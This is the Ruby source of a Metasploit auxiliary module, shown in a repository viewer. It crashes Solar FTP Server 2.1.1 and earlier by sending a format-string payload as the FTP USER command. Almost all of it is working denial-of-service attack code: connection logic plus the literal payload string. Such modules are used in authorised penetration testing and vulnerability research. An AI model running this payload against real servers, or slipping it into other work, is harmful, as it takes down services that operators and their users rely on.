Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Solar FTP Server Malformed USER Denial of Service',
15
'Description' => %q{
16
This module will send a format string as USER to Solar FTP, causing a
17
READ violation in function "__output_1()" found in "sfsservice.exe"
18
while trying to calculate the length of the string. This vulnerability
19
affects versions 2.1.1 and earlier.
20
},
21
'Author' => [
22
'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit
23
'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Metasploit submission
24
'sinn3r', # Metasploit edit/commit
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'EDB', '16204' ],
29
],
30
'DisclosureDate' => '2011-02-22',
31
'Notes' => {
32
'Stability' => [CRASH_SERVICE_DOWN],
33
'SideEffects' => [],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options(
40
[
41
Opt::RPORT(21)
42
]
43
)
44
end
45
46
def run
47
connect
48
49
banner = sock.get_once(-1, 10) || ''
50
print_status("Banner: #{banner.strip}")
51
52
buf = Rex::Text.pattern_create(50)
53
buf << '%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n'
54
print_status('Sending format string...')
55
sock.put("USER #{buf}\r\n")
56
57
disconnect
58
end
59
end
60
61